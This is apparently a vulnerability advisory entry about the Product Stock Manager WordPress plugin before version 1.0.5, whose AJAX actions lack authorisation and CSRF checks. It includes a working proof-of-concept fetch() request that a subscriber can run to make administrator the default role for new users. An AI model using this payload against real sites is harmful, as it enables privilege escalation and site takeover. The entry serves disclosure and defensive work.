Lucene search

K
wpvulndbWpvulndbWPVDB-ID:D8005CD0-8232-4D43-A4E4-14728EAF1300
HistoryOct 17, 2022 - 12:00 a.m.

Product Stock Manager < 1.0.5 - Subscriber+ Unauthorised AJAX Calls

2022-10-1700:00:00
wpscan.com
3
product stock manager
unauthorised
ajax
subscriber
csrf
poc

EPSS

0.001

Percentile

21.2%

The plugin does not have authorisation and proper CSRF checks in multiple AJAX actions, allowing users with a role as low as subscriber to call them. One action in particular could allow to update arbitrary options

PoC

To set the default role for new users to administrator, run the below command in the developer console of the web browser while being logged on the blog as a subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=af_sm_set_checkbox_status&name;=default_role&checkbox;_status=administrator’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.001

Percentile

21.2%

Related for WPVDB-ID:D8005CD0-8232-4D43-A4E4-14728EAF1300